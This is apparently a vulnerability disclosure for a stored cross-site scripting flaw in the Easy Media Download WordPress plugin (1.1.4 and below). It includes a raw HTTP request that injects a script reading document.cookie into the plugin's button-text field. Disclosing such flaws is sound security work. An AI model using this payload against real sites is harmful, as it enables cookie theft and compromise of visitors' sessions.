# Exploit Title: Wordpress Easy Media Download v1.1.4 - Persistent Cross-Site Scripting
# Date: 2020-08-14
# Vendor Homepage: https://noorsplugin.com/
# Vendor Changelog: https://wordpress.org/plugins/easy-media-download/#developers
# Exploit Author: Melbin K Mathew (@melbinkm)
# Author Advisory: https://melbin.in/2020/08/14/stored-xss-vulnerability-in-wordpress-easy-media-download-plugin/
# Author Homepage: https://melbin.in
# Version: 1.1.4 and below
# CVE : CVE-2020-XXXX

1. Description

The Easy Media Download is a WordPress Plugin used to let the users download files from WordPress Blogs without using html. The 'Button Text' field used while posting a file download was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a user loads a page where the plugin shortcode is used. All WordPress websites using Easy Media Download version 1.1.4 and below are affected.

2. Proof of Concept

POST /w/wp-json/wp/v2/posts/186?_locale=user HTTP/1.1
Host: 127.0.0.1
Content-Length: 162
Accept: application/json, */*;q=0.1
X-WP-Nonce: 6c6cd8b63e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: https://127.0.0.1
Referer: https://127.0.0.1/w/wp-admin/post.php?post=186&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml; wp-settings-time-1=1597401311
Connection: close

{"id":186,"content":"[easy_media_download url="https://example.com/wp-content/uploads/file.zip" text="Free Download <script>alert(document.cookie)</script>"]"}